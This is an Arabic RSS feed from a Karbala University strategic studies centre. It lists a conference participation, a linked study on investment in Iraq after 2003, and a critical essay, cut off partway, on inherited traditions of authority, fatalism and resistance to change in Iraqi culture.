<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>dr-khalid - مركز الدراسات الاستراتيجية - جامعة كربلاء</title>
	<atom:link href="https://kerbalacss.uokerbala.edu.iq/wp/blog/archives/category/politic/drkhalid/feed" rel="self" type="application/rss+xml" />
	<link>https://kerbalacss.uokerbala.edu.iq/wp</link>
	<description></description>
	<lastBuildDate>Sun, 12 Apr 2026 03:17:45 +0000</lastBuildDate>
	<language>ar</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=6.9.4</generator>
<site xmlns="com-wordpress:feed-additions:1">162131392</site>	<item>
		<title>مشاركة بحثية لمركز الدراسات الأستراتيجية في المؤتمر العلمي الدولي الأول بجامعة الإمام جعفر الصادق (ع)</title>
		<link>https://kerbalacss.uokerbala.edu.iq/wp/blog/archives/10890</link>
		
		<dc:creator><![CDATA[وحدة الإعلام والإنترنت]]></dc:creator>
		<pubDate>Sun, 12 Apr 2026 03:16:45 +0000</pubDate>
				<category><![CDATA[dr-khalid]]></category>
		<category><![CDATA[Latest News]]></category>
		<category><![CDATA[باحثين قسم الدراسات السياسية]]></category>
		<category><![CDATA[مؤتمرات وندوات]]></category>
		<guid isPermaLink="false">https://kerbalacss.uokerbala.edu.iq/wp/?p=10890</guid>

					<description><![CDATA[<p>شارك الباحثون من قسم الدراسات القانونية في مركز الدراسات الاستراتيجية – جامعة كربلاء (م.د مبين ماجد جابر، والباحث م.م خالد حفظي عبد الأمير) في فعاليات المؤتمر العلمي الدولي الأول الذي... <a class="read-more-link" href="https://kerbalacss.uokerbala.edu.iq/wp/blog/archives/10890">اقرأ المزيد &#187;</a></p>
<p>The post <a href="https://kerbalacss.uokerbala.edu.iq/wp/blog/archives/10890">مشاركة بحثية لمركز الدراسات الأستراتيجية في المؤتمر العلمي الدولي الأول بجامعة الإمام جعفر الصادق (ع)</a> first appeared on <a href="https://kerbalacss.uokerbala.edu.iq/wp">مركز الدراسات الاستراتيجية - جامعة كربلاء</a>.</p>]]></description>
										<content:encoded><![CDATA[<p style="text-align: right">شارك الباحثون من قسم الدراسات القانونية في مركز الدراسات الاستراتيجية – جامعة كربلاء (م.د مبين ماجد جابر، والباحث م.م خالد حفظي عبد الأمير) في فعاليات المؤتمر العلمي الدولي الأول الذي أقامته جامعة الإمام جعفر الصادق (ع) بالتعاون مع الجامعة المستنصرية. وانعقد المؤتمر تحت شعار «نحو عراق متجدد: سياسات ذكية لمستقبلٍ مستدام… التحولات الراهنة واستشراف المستقبل»، بمشاركة نخبة من الباحثين والمختصين في الشأنين السياسي والقانوني، حيث شكّل منصة علمية مهمة لبحث التحولات الراهنة واستشراف آفاق المستقبل في العراق. وقد قدّم الباحثان بحثًا بعنوان «دور التحول الرقمي في الحد من الهدر في المال العام: إدارة الموارد المحلية في محافظة كربلاء»، تناول أهمية توظيف التقنيات الرقمية في تعزيز كفاءة إدارة الموارد العامة، والحد من الهدر المالي، بما يسهم في تحسين الأداء الإداري ودعم مسارات الحوكمة الرشيدة على المستوى المحلي. وجاءت هذه المشاركة ضمن توجهات مركز الدراسات الاستراتيجية لتعزيز الحضور العلمي في المحافل الأكاديمية، وتشجيع الباحثين على تقديم دراسات تطبيقية تسهم في معالجة التحديات الاقتصادية والإدارية الراهنة.</p><p>The post <a href="https://kerbalacss.uokerbala.edu.iq/wp/blog/archives/10890">مشاركة بحثية لمركز الدراسات الأستراتيجية في المؤتمر العلمي الدولي الأول بجامعة الإمام جعفر الصادق (ع)</a> first appeared on <a href="https://kerbalacss.uokerbala.edu.iq/wp">مركز الدراسات الاستراتيجية - جامعة كربلاء</a>.</p>]]></content:encoded>
					
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">10890</post-id>	</item>
		<item>
		<title>دراسة حالة الاستثمار في العراق بعد عام 2003 (المشاكل والحلول)</title>
		<link>https://kerbalacss.uokerbala.edu.iq/wp/blog/archives/10825</link>
		
		<dc:creator><![CDATA[م. خالد حفظي عبد الأمير]]></dc:creator>
		<pubDate>Mon, 06 Apr 2026 19:47:51 +0000</pubDate>
				<category><![CDATA[dr-khalid]]></category>
		<category><![CDATA[muaid]]></category>
		<category><![CDATA[دراسات]]></category>
		<category><![CDATA[غير مصنف]]></category>
		<guid isPermaLink="false">https://kerbalacss.uokerbala.edu.iq/wp/?p=10825</guid>

					<description><![CDATA[<p>دراسة حالة الاستثمار في العراق بعد عام 2003 (المشاكل والحلول) .للباحث _م. خالد حفظي عبد الأمير_ مركز الدراسات الاستراتيجية _جامعة كربلاء  للباحث_م. مؤيد جبار حسن_ مركز الدراسات الاستراتيجية _جامعة كربلاء ... <a class="read-more-link" href="https://kerbalacss.uokerbala.edu.iq/wp/blog/archives/10825">اقرأ المزيد &#187;</a></p>
<p>The post <a href="https://kerbalacss.uokerbala.edu.iq/wp/blog/archives/10825">دراسة حالة الاستثمار في العراق بعد عام 2003 (المشاكل والحلول)</a> first appeared on <a href="https://kerbalacss.uokerbala.edu.iq/wp">مركز الدراسات الاستراتيجية - جامعة كربلاء</a>.</p>]]></description>
										<content:encoded><![CDATA[<p style="text-align: right"><strong>دراسة حالة الاستثمار في العراق بعد عام 2003</strong><br />
<strong>(المشاكل والحلول)</strong></p>
<p style="text-align: right"><strong>.للباحث _م. خالد حفظي عبد الأمير_ مركز الدراسات الاستراتيجية _جامعة كربلاء </strong><br />
<strong>للباحث_م. مؤيد جبار حسن_ مركز الدراسات الاستراتيجية _جامعة كربلاء </strong></p>
<p style="text-align: right"><b>لقراءة البحث<a href="https://drive.google.com/file/d/1qWrI0Oep4gB_7S1KmyuJYm_kFeDRpde1/view?usp=sharing"> أضغط هنا</a> </b></p><p>The post <a href="https://kerbalacss.uokerbala.edu.iq/wp/blog/archives/10825">دراسة حالة الاستثمار في العراق بعد عام 2003 (المشاكل والحلول)</a> first appeared on <a href="https://kerbalacss.uokerbala.edu.iq/wp">مركز الدراسات الاستراتيجية - جامعة كربلاء</a>.</p>]]></content:encoded>
					
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">10825</post-id>	</item>
		<item>
		<title>القديم المستمر في ثقافتنا السائدة</title>
		<link>https://kerbalacss.uokerbala.edu.iq/wp/blog/archives/6304</link>
		
		<dc:creator><![CDATA[الأستاذ الدكتور خالد عليوي العرداوي]]></dc:creator>
		<pubDate>Wed, 24 Jun 2020 16:22:32 +0000</pubDate>
				<category><![CDATA[dr-khalid]]></category>
		<category><![CDATA[Latest News]]></category>
		<category><![CDATA[مقالات المركز]]></category>
		<guid isPermaLink="false">http://kerbalacss.uokerbala.edu.iq/wp/?p=6304</guid>

					<description><![CDATA[<p>  (دراسة تحليلية نقدية) بقلم: الأستاذ الدكتور خالد عليوي العرداوي قسم الدراسات السياسية-مركز الدراسات الاستراتيجية-جامعة كربلاء حزيران-يونيو 2020 قبل مائة عام تقريبا استعمل الفيلسوف الأمريكي جون ديوي مصطلح &#8220;القديم المستمر&#8221;... <a class="read-more-link" href="https://kerbalacss.uokerbala.edu.iq/wp/blog/archives/6304">اقرأ المزيد &#187;</a></p>
<p>The post <a href="https://kerbalacss.uokerbala.edu.iq/wp/blog/archives/6304">القديم المستمر في ثقافتنا السائدة</a> first appeared on <a href="https://kerbalacss.uokerbala.edu.iq/wp">مركز الدراسات الاستراتيجية - جامعة كربلاء</a>.</p>]]></description>
										<content:encoded><![CDATA[<p><strong> </strong></p>
<p><strong>(دراسة تحليلية نقدية)</strong></p>
<p><strong>بقلم: الأستاذ الدكتور خالد عليوي العرداوي</strong></p>
<p><strong>قسم الدراسات السياسية-مركز الدراسات الاستراتيجية-جامعة كربلاء</strong></p>
<p><strong>حزيران-يونيو 2020</strong></p>
<p>قبل مائة عام تقريبا استعمل الفيلسوف الأمريكي جون ديوي مصطلح &#8220;القديم المستمر&#8221; في كتابه الرائع (الطبيعة البشرية والسلوك الإنساني)، ليقصد به مجموعة العادات والتقاليد الموروثة من الأجيال الماضية، والمستمرة بتأثيرها السلبي في أنماط التفكير والسلوك والقيم للأجيال الحاضرة، مما ينتج عنه إعاقة تحرير دوافع الأجيال الأخيرة ولجم طموحاتها؛ لخضوعها الواعي وغير الواعي لعادات وتقاليد الأسلاف.</p>
<p>هذا القديم المستمر هو ما يذهب بعض كتابنا إلى تسميته بـ &#8220;التراث&#8221;، وهي تسمية ملطفة كثيرا للمعنى، وقد تكون-أحيانا-مشجعة على عدم الالتفات في مجتمعاتنا إلى ضرورة نقد وغربلة ما وُرث من أسلافنا البعيدين، على الرغم من الحاجة الملحة إلى هذا النقد والغربلة.</p>
<p>إن استعمال مصطلح القديم المستمر بدلا من التراث ربما ينطوي على إيجابية كبيرة؛ كونه أكثر استفزازا وتحريضا للعقل المعاصر لحثه على لعب دوره الناقد فيما ورثه، للتحرر من سطوة أنماط تفكير الأسلاف وما أنتجته من عادات وتقاليد في ظروف وحاجات مختلفة تماما عن ظروف وحاجات الإنسان المعاصرة.</p>
<p>إن اثارة هذا الموضوع، في هذا الوقت، الغرض منه هو لفت الانتباه إلى التأثير السلبي الجسيم لبعض تقاليد وعادات الأسلاف في الثقافة المعاصرة لمجتمعنا العراقي، حتى إن مشاكلنا الكثيرة التي نعيشها اليوم في أنفسنا وأسرنا ومؤسساتنا وأنماط الحكم والإدارة لدينا سببها هيمنة تلك العادات والتقاليد، فتجدها تأسر عقولنا، وتقمع فعلنا، وتمنعنا من إنتاج عادات وتقاليد جديدة تتناسب مع مقتضيات عصرنا.</p>
<p>ولهيمنة عادات وتقاليد الأسلاف مظاهر متعدِّدة في حياتنا، إلا أنها تتجلى بصورتها الواضحة في ثلاث قضايا محورية، هي: السلطة، والغيب، والتغيير.</p>
<p><strong>قضية السلطة</strong></p>
<p>نقصد بالسلطة هنا السلطة بمفهومها الشامل ابتداءَ من سلطة الأب وصولا إلى سلطة الحاكم، وقد كانت هذه السلطة – في معظم الأوقات-أسيرة ثقافة الأسلاف، على مستوى التفكير، ومستوى السلوك.</p>
<p>فيما يتعلق بالمستوى الأول (مستوى التفكير)، تجد أن التفكير بالسلطة بوصفها آليات، وتحديد أدوار، ورسم تصورات، وتوقع نتائج&#8230; لازال يجري بالطريقة التي أدركتها وفهمتها أجيال الأجداد البعيدة والقريبة، فثقافة الذكورة تحدد سلطة الرجل داخل منزله وخارجه، وتحكم طريقة تفكيره اتجاه الآخر سواء أكان طفلا أم ابنا أم امرأة أم مختلفا في الدين والمذهب والعرق والرأي والمنطقة الجغرافية والمنزلة الاجتماعية.</p>
<p>ولم يخرج تفكيرنا بقضية السلطة عما فكر به أسلافنا؛ إذ مازالت المفردات ذاتها التي استعملوها تحكم كثيرا من تفكيرنا السياسي، بمعانيها ومقاصدها، ولو عاد أحد ما بالزمن إلى الوراء ألف سنة أو أكثر لما تفاجئ كثيرا إذا ما وجد أن طريقة تفكيرنا اليوم بالسلطة لم تتغير كثيرا عن الماضي، ففي الزمنين تكون السلطة أثرة لا خدمة، والاستحواذ عليها غنيمة، كما أن مفردات الخليفة، والبيعة، وطاعة الحاكم في الماضي توازي مفردات الرئيس، والانتخاب، وطاعة السلطة التي نستعملها اليوم، أو نرددها لتعطي المعنى نفسه.</p>
<p>نعم، قد يجد مفردات معاصرة، مثل: المجلس النيابي، ورئيس الجمهورية، ورئيس الوزراء والديمقراطية وغيرها، ولكن طريقة التفكير بهذه المفردات وما سبقها لا تختلف كثيرا عن طريقة تفكير أسلافنا بالخلافة والحجابة وجمهور أهل الحل والعقد&#8230;</p>
<p>لقد ترتب على الخضوع الطويل لعادات الأسلاف الخاصة بالسلطة عوزا وقصورا بينا -حتى اللحظة-عن استيعاب ظاهرة الدولة الحديثة، أي دولة القانون والمؤسسات، فالتفكير السلطاني بالدولة مازال مستحوذا على جوهر تفكيرنا السياسي، وهذا ما أراد أن يقوله المؤرخ والمفكر المغربي عبد الله العروي عندما أشار إلى أننا ما زلنا نعيش عصر دولة الخلافة (الدولة السلطانية) ولم ندخل عصر الدولة الحديثة.</p>
<p>والدولة السلطانية لا تنتج رجال دولة حقيقيين إنما تنتج خلفاء وأئمة، ملوك واباطرة، غزاة وفاتحين، دعاة ومبشرين، وستحكم هذه العناوين، بشكل أو آخر، تفكير وسلوك علماء وحكام عصرنا الذين غالبا ما يرجعون إلى الأثر الفكري التاريخي لأسلافهم؛ من أجل اسباغ المسوِّغات وإعطاء التفسيرات لظواهر سياسية معاصرة لها خصوصيتها الزمانية والمكانية والثقافية، وستلعب هذه العملية دورها في تحديد معايير الخير والشر، والحق والباطل، والصواب والخطأ لا بمقاييس هذا العصر ولكن بمقاييس الماضي المنفصلة تماما عنه.</p>
<p>ولا غرابة، من ثمّ، أن تكتشف تناغم الاتجاه العام لتفكيرنا السياسي المعاصر بشكل عجيب مع الأفكار السياسية العالمية التي اشتركت مع ماضينا بقواسم الطاعة والخضوع وتقديس السلطان، والباس الدولة- أحيانا- لباس الحكم المقدس لتكون النتيجة واحدة، فجرى التناغم المثير للشفقة مع الشيوعية بنسختها الستالينية، والقومية بنسختيها الألمانية والإيطالية&#8230; فيما لم يجد الفكر الليبرالي الديمقراطي له مكانا مناسبا ليترعرع فيه، لا لأنه فكر فاشل- نحن هنا لا نزعم كمال هذا الفكر وخلوه من العيوب- وإنما لأن بيئتنا المسكونة بالتفكير الماضوي لم تسمح لهذا الفكر بالنجاح، ولم تعمل على مد الجسور معه، وعاندته بضراوة، وعملت على إفشاله في كل مرة ظهر فيها على المسرح هنا أو هناك بحجج ومزاعم شتى، فهذه البيئة لم تكن تدور اهتماماتها السياسية حول الإنسان : تحريرا وارتقاء، إنما كانت تدور حول الكليات والرموز: سلطانا وأرضا، دينا ومذهبا، قوما وعشيرة&#8230; وكانت تمجد هذه الكليات والرموز بطريقة عاطفية وحماسية مبالغ فيها، فحرصت على إحاطتها بأسوار منيعة عصية على النقد؛ لتسويغ الاستعباد والخضوع والقبول بالأمر الواقع، تحت شعار ليس بالإمكان أبدع مما كان.</p>
<p>وبالانتقال من مستوى التفكير بالسلطة، إلى مستوى سلوك السلطة، ستجد التأثير السلبي لعادات وتقاليد الأسلاف متربعا بشكل مذهل في سلوك مجتمعنا-الاستثناء لا يلغي القاعدة -وهذا الأمر واضح للعيان من خلال تمجيد منطق القوة في علاقاتنا الاجتماعية والسياسية، كقوة: الرجل في أسرته، والذكر على الأنثى، والكبير على الصغير، والاتجاه السياسي في مقابل اتجاه سياسي آخر، والرأي الفقهي إزاء رأي فقهي آخر، والعشيرة أمام عشيرة أخرى، والدولة إزاء دولة أخرى&#8230; وكأن الجميع يمارس التنمر على الجميع بطريقة أو أخرى.</p>
<p>والغريب بشكل تراجيدي في الموضوع، الذي لا يمكن تفسيره إلا من خلال الرجوع الى الماضي وما عاشه القدماء هو اجتماع نمطين عجيبين في مجتمعنا عند التعامل مع قضية إدراك القوة:</p>
<p>الأول-نمط العبودية والاستسلام للسلطة: سلطة الأب، شيخ الطائفة، شيخ العشيرة، والمسؤول الإداري، والحاكم وغيرهم.</p>
<p>الآخر-نمط التمرد والعنف والظلم لما تحت اليد من قوانين وأشياء وأفراد.</p>
<p>إنها عادات وتقاليد القوة الحمقاء غير العاقلة متجسدة في السلوك الفردي والاجتماعي، وهي لا تختلف كثيرا عن عادات وتقاليد الصحراء والغزاة والفاتحين والمستعبدين، والنتيجة تمزق المجتمع بصراعات مستمرة؛ ناجمة عن الاستعداد النفسي للتمرد والسلب عند ضعف السلطة القائمة، وعن نزعة القيادة الفردية – الغاشمة أحيانا- داخل الأسرة والعشيرة والمؤسسة الإدارية والحزب السياسي ونظام الحكم وبعض المؤسسات الدينية، لتقف القوانين الحديثة والمؤسسات الحديثة عاجزة تماما عن ترسيخ وجودها فرديا واجتماعيا، في مقابل تمدد دائم ومتجدد لأعراف وأحكام ومؤسسات الأسلاف التي تحاول تجديد نفسها بطريقة أو أخرى.</p>
<p>كما يبرز التأثير السلبي لثقافة القدماء في نظرة أفراد المجتمع الكثيرين إلى الزمن، فالمعروف أن الإنسان الحديث هو إنسان عملي في تعامله مع الأحداث المحيطة به، وشديد التطلع إلى المستقبل، لذا يعمل على توظيف كل ما لديه من مهارات بهدف إجراء تغيير ملموس في حاضره للحصول على مستقبل أفضل، وما اهتمامه بالماضي إلا على سبيل المتعة المعرفية أو التنقيب عن آثاره والاطلاع على قصصه.</p>
<p>ولكن بمقارنة ذلك مع سلوك أفراد مجتمعنا الكثيرين تكتشف أن معظمهم يعيشون الماضي بكل مآسيه وتناقضاته وحماقاته وعواطفه، بل يتحكم الماضي ورجالاته وصراعاته بهم تحكما لا فكاك منه، وهذا السلوك – غالبا-تجده لدى المجتمعات البدائية، والناجم عن عدم نضجها، وضعف قدرتها على التفكير والعمل باستقلالية وثقة.</p>
<p>ناهيك عما تقدَّم، لا تخلو لدينا طريقة اللباس، والتعامل مع الثروة -خاصة ام عامة-ومنظومة القيم، وأسلوب الكلام، وآليات حل المشاكل وما شابه من الأمور ذات العلاقة بسلوك السلطة عما عاشه أسلافنا في الماضي.</p>
<p><strong>قضية الغيب </strong></p>
<p>الغيب هو من أكثر القضايا التي شغلت اهتمام البشر منذ ظهورهم على وجه الأرض إلى الوقت الحاضر، ولن تجد شعبا من الشعوب بصرف النظر عن تقدمه الثقافي والحضاري إلا ولدى جميع أفراده أو بعضهم اهتماما بالأمور الغيبية.</p>
<p>ولكن الجدل كان وما زال محتما بين التفسير الميتافيزيقي (ما وراء الطبيعة) والتفسير الفيزيقي (الطبيعي) لما يواجهه الإنسان في حياته. وتبدو حدة هذا الجدل مرتبطة بشكل طردي بمدى ثقة الإنسان بنفسه، واستعداده لاستعمال عقله في إخضاع مشاكله وظروفه المحيطة لسيطرته وتوظيفها وتوجيهها لمصلحته.</p>
<p>لقد دفع القصور العقلي للإنسان البدائي عند محاولته تفسير حركة الأجرام السماوية، وظروف الطبيعة إلى ربط كل ذلك بالغيب، فكانت النتيجة تزاحم الالهة في حياته، كآلهة: الشمس، والقمر، والرياح، والماء، والأرض والسماء والعوالم السفلية، والشجر والمزروعات&#8230;وصولا إلى تناكح الالهة وتأليه بعض البشر، فكل ما استعصى فهمه، وصعُب تفسيره تم ربطه بالإلهة ومن ثم الاستسلام بعد ذلك إلى عطف هذه الالهة أو غضبها لتقرير مصير الإنسان.</p>
<p>إلا أنه مع تقدم البشر، واتساع مداركهم العقلية، بدأت الالهة تتساقط، فضاق أكثر وأكثر تحكمها بهم، وبدأ الإنسان يعطي أحكاما منطقية صحيحة تفصل بين ما هو خارج عن سيطرته تماما، وما هو قابل للفهم والسيطرة عليه والتحكم في مساره.</p>
<p>وقبل الذهاب إلى الحديث عن مدى تأثر المجتمع العراقي بقضية الغيب، لا بد من الإشارة إلى أننا نؤمن بوجود حدود يقتضي احترامها بين ما هو مرتبط بالغيب بشكل حتمي كـ (الخلق، الروح، الموت&#8230;الخ)، وبين ما هو مرتبط بوجود الإنسان ودوره على الأرض، فالذي يستسلم للغيب بشكل كامل هو إنسان قاصر أو مقصر، مسرف في خضوعه للغيب، وارتضى التخلي بمحض إرادته عن مسؤوليته في استعمال عقله بفاعلية لربط العلل الطبيعية بمعلولاتها الطبيعية.</p>
<p>ومن يفعل ذلك ليس جديرا بعبودية الله، بل هو غير جدير أن يكون إنسانا، وإني أجد الفيلسوف الفرنسي رينيه ديكارت محقا في تأملاته الميتافيزيقية عندما قال: &#8220;ليس نقصا في الله أن يكون قد أعطانا الحرية، لكنه نقص فينا أن نسيء التصرف بها&#8221;. فمن لا ينزع عباءة أسلافه البدائيين، ولا يؤمن بقدرته على صناعة تاريخه الذي يريده على الأرض، وتشكيل مسار حياته الذي يتمناه بدون انتظار أن تأتي السماء لتقرر له ذلك، يكون قد أساء تماما التصرف بالحرية الممنوحة له من الله، ولا يستحق أن يكون حرا.</p>
<p>على أي حال، فإن التأمل في علاقة المجتمع العراقي الحاضر بالغيب، يقود إلى نتيجة مفادها: إن الثقافة الغيبية لأسلافه البدائيين ما زال لها تأثير سلبي كبير فيه، لذا تجد تغييبا مدركا وغير مدرك للعقل في أحيان كثيرة؛ لمنعه من القيام بدوره الحقيقي في تسخير كل ما يحيط الإنسان من خير لمصلحته وسعادته، والاكتفاء بانتظار تدخل السماء للقيام بما هو من مسؤولية البشر.</p>
<p>هذا الاستسلام الأعمى للغيب لدى أفراد المجتمع الكثيرين ناجم عن سببين رئيسين، كلاهما يدلان على استمرار التحكم بهم من قبل عادات وتقاليد الأسلاف:</p>
<p>الأول-عجز عقولهم عن استيعاب دورها، والوجود المحيط بها، بكل ما ينطوي عليه من تاريخ، وأحداث وموجودات.</p>
<p>الثاني-الاسترخاء أو الكسل العقلي، واستسهال تفسير ما يحيط بهم، وما يقرر مصيرهم بربطه بالغيب، فمعروف أن الإنسان المتقدم يكون زاخرا بالنشاط العقلي؛ لتغيير قناعاته، وإعادة اكتشاف الحقائق المحيطة به، وتطوير آلياته؛ وجعل حاله أفضل من الأجيال التي سبقته. والنشاط العقلي بحد ذاته عملية مرهقة للغاية؛ لأنها تجعل الإنسان دائم التفكير بنفسه ومجتمعه ومحيطه، وهذا الأمر لا يقوى عليه الإنسان البدائي الباحث عن أبسط الإجابات والحلول، الذي تنحصر خياراته في أضيق وأيسر السبل.</p>
<p>وللخضوع للتفسير الغيبي في مجتمعنا مظاهر متعدِّدة، ومستمرة لأجيال كثيرة، ربما يقود كشفها بشكل صريح إلى مشاكل ليس من المناسب مواجهتها الآن، ولكن من هذه المظاهر، على سبيل المثال لا الحصر، تلك القصص التي تبرز هنا أو هناك، لطلب المدد الغيبي من جذع شجرة أو بئر ماء أو فتاح فال (مُنجم) لمساعدة أصحابها على: الزواج أو النجاح في الدراسة وغيرها أو الحصول على وظيفة أو الخروج من السجن أو حل مشكلة اجتماعية أو أسقاط حكم ظالم وغير ذلك.</p>
<p>وجميع هذه الأمور لن تجدها خارجة عن إرادة وقدرة البشر في تفسيرها وإيجاد معالجاتها المناسبة، فمثلا: إذا كنت مجتهدا سوف تنجح، فيما الكسالى فرص نجاحهم محدودة. وعندما يكون نظام الحكم والإدارة جيدين لن تواجه صعوبة في الزواج، أو الحصول على وظيفة شريفة، فيما أنظمة الحكم والإدارة الفاشلة تعني أن جميع حقوق وحريات الإنسان ستكون مفقودة، أو تتوفر بأدنى الحدود ومن بينها حقه في العمل وتكوين الأسرة. وكلما كنت سويا، كنت بعيدا عن الوقوع في المشاكل الاجتماعية ولن تضطر إلى دخول السجن، فيما الحمقى والمتهورون غالبا ما يتورطون بمشاكل جمة قد تقودهم إلى تفكيك أسرهم أو دخول السجن أو الإعدام. وعندما يجد الحكم الظالم من يؤيده ويدافع عنه، قطعا لن يزول بدعاء الناس، كما لن يسقطه السحرة والمنجمون، فالحكم الظالم يسقط فقط عندما يواجه شعبا واعيا لا يسمح له بإيجاد الأرضية الخصبة لينبت ويترعرع فيها&#8230;أي إن علة ومعلول وحلول هذه القصص وأمثالها لا يكمن في اللجوء إلى مُنجم أو جذع شجرة أو بئر ماء، ولكن يكمن في أمور أخرى تتطلب قوة إرادة الإنسان في استعمال عقله بفاعلية واجتراح الحلول العملية المناسبة لها.</p>
<p>ولعل من المناسب لتأكيد الفكرة أعلاه التطرق إلى سلوك أفراد المجتمع الكثيرين عند تعرضهم إلى جائحة كوفيد 19. ففي الوقت الذي كان العالم أجمع، والمؤسسات الصحية في العراق وبقية دول العالم تحذر من خطر الجائحة، كنت تجد بعض خطباء المنابر والمثقفين وغيرهم يعدون الجائحة إمّا كذبة إمّا إن الوقاية منها غير مفيدة؛ فالإنسان  مصيره تحدده السماء، ومن قدر له الموت سيموت، أمّا من قدر له الحياة فسيحيا، ناهيك عن دعابة أن الفايروس لا يصيب أماكن العبادة، لذا لا تحتاج هذه الأماكن إلى التعقيم والحماية من التلوث ومن يقوم بذلك يعتدي على حرمتها وقدسيتها &#8230;نعم اكتشف كثيرون بعد ذلك إنه لم يكن على صواب، ولكن عدم الحذر، والإيمان الزائف بالغيب زاد من الخطر، الذي كان بالإمكان تجنبه لو تم احترام دور العقل وسُمح له بمعالجة الوباء بطريقة فنية صحيحة.</p>
<p>لقد خلقت الثقافة الغيبية لدينا مجتمعا اتكاليا وعاجزا، ومستسلما لتعاسته، وللإحداث التي تمر به، سواء أكانت من صنع البشر أم من صنع الطبيعة، ولن يتمكن هذا المجتمع من صناعة تاريخ جديد، وارتقاء حضاري يتناسب مع حاجات هذا العصر مادامت هذه الثقافة باقية على حالها، لذا لابد من تقويضها، وأول منطلقات هذا التقويض هو إدراك بدائيتها وعدم توافقها مع العصر الذي نعيش فيه.</p>
<p><strong>قضية التغيير</strong></p>
<p>واحدة من علامات التخلف في المجتمعات غير المتقدمة، التي يعرِّفها الاقتصاديون، بشكل خاص، هي الجمود والخوف من التغيير، لاسيما التغيير المهني، بمعنى بقاء ابن الفلاح فلاحا، وابن الحداد حدادا، وابن التاجر تاجرا وهكذا دواليك؛ لكون الأبناء يجري تلقينهم أنهم سيشعرون بأمان أكثر وهم يخطون خطى آبائهم، وفي الوقت نفسه لا يضطرون إلى مكابدة العناء في ابتداع أو اختيار مهن جديدة.</p>
<p>نعم قد يقول قائل إن هذا أفضل للأبناء وأرغد عيشا لهم، ولكن هذا يعني، في الوقت نفسه، توقف حياة المجتمع وعدم تقدمه إلى الأمام، بل وعدم إقدام بعضهم على المجازفة والمغامرة في سبيل اكتشاف آفاق جديدة، أو الارتقاء بحياته المعتادة، فلولا وجود حس المغامرة وتكبد عناء المجازفة لما تطور الإنسان من حياة الكهوف إلى العالم الرقمي.</p>
<p>هذا الجمود المهني والخوف من التغيير، لا يقل عنه ضررا وتخلفا الجمود الثقافي على مستوى القيم والأفكار وأنماط العيش، بمعنى تقوقع الإنسان حول مجموعة من الأفكار، وأنماط التفكير، والأعراف والقيم، بل والقناعات حول الذات والمجتمع والغير، يتم تناقلها من جيل إلى جيل، ليغدو الخروج عليها أو مجرد التفكير بالخروج جريمة اجتماعية لا تغتفر، ويتحول الضاغط الاجتماعي أو ما يمكن تسميته رهاب المجموع إلى قوة معيقة تأسر الفرد، وتضيق أدواره، وتحدد مسبقا مكانته الاجتماعية.   لقد واجه الأنبياء والمصلحون عبر التاريخ عقبة جمود مجتمعاتهم، وكانت هذه العقبة من أخطر العقبات أمام فعلهم الإصلاحي، إذ كان الرد دائما عليهم من قبل أقوامهم إنها لن تتخلى عما كان يعبد الآباء والأجداد، بل كان نفورها منهم نابعا من دعوتهم إلى تغيير عادات وتقاليد وقناعات الأسلاف التي كانت سببا في انحدار المجتمع، وتكريس حالة الظلم والهيمنة والتفاوت الطبقي فيه.   واليوم تجد أن مجتمعنا مبتلى بهذا الداء الخطير، أي الجمود وعدم قبول التغيير، كما تجد أن هذا الداء لم يعد مقتصرا على أنماط اللباس والكلام والأعراف والقيم السائدة في الأوساط التقليدية (أسرية، عشائرية، دينية &#8230;) بل تعداه إلى مؤسساتنا الحديثة، واعتنقه خريجو معاهدنا وجامعاتنا الكثيرون، وأوساطنا الاكاديمية والمهنية، فمن السهل عليك أن تفتش في أركان هذه الأوساط أو تجري استطلاعا عاما لها لتكتشف أنها تفضل الاحتكام للقبائل والعشائر والطوائف على حساب الاحتكام إلى الدولة والقانون، وأنها تدير حواراتها وجدالاتها في أحيان كثيرة بطريقة الآباء والأجداد بدلا من أنماط السلوك والقيم التي استقرت عليها الأمم المتقدمة، بل وصل الأمر إلى إدارة مؤسسات حديثة بعقلية الإدارة في الروابط والتجمعات التقليدية، فكانت النتيجة مؤسسات مشوهة في إدارتها وقيمها وسلوك العاملين فيها.</p>
<p>هذا الجمود ورفض التغيير، أو عدم السماح بحصوله، أو قبوله بشروط كابحة يعد اليوم من أخطر الأمراض الاجتماعية التي تهدد أمن مجتمعنا، وتمنع تقدمه، وتعرقل تطور مؤسسات الدولة الحديثة، وتساعد في الوقت نفسه على استمرارية خضوعه إلى عادات وتقاليد أسلافه، وإعادة إنتاج مشاكل وعلاقات وقيم وطموحات الأجداد حتى المتهور منها بلباس جديد، مرة بعد أخرى، دون أن ينسلخ المجتمع بطريقة آمنة من ماضيه، ليواجه بطريقة مبتكرة مشاكله الحاضرة، وتكوين علاقاته الخاصة، وإعادة تشكيل قيمه المناسبة لتطوره، والتطلع بطموحاته الجديدة نحو المستقبل.</p>
<p><strong>لماذا استمر القديم في ثقافتنا المعاصرة؟</strong></p>
<p>تبدو عملية تحديد الأسباب الكامنة وراء استمرار عادات وتقاليد الأسلاف السلبية في المجتمع من خلال هذه الدراسة المختصرة مهمة شاقة، فالحديث لا يقتصر على حالة محددة زمانا ومكانا من جانب، ناهيك عما يكتنف الأمر من تعقيد وتشابك وحرج – أحيانا-من جانب آخر. إلا أن هذه المهمة لا مناص منها، حتى لو تمت بصورة أولية، فالعيش في الماضي لا يمكن تحمله، فما بالك إذا تحكم هذا الماضي في أحلام وطموحات وعلاقات وروابط وخيارات الحاضر، قطعا ستكون النتيجة انتكاسة حضارية وثقافية مرعبة، وهذا ما يمكن مشاهدته بجلاء في مجتمعاتنا اليوم.         لقد تظافرت عوامل متعدِّدة لتساعد القديم على الاستمرار والتحكم بحياتنا، بعضها كانت نتاج خيارات البشر المعاصرين، وبعضها الآخر قد تكون خارج نطاق سيطرتهم وارادتهم، يمكن تحديد أبرزها بما يأتي:</p>
<p>أولا-عدم اكتمال مشروع بناء الدولة الحديثة.</p>
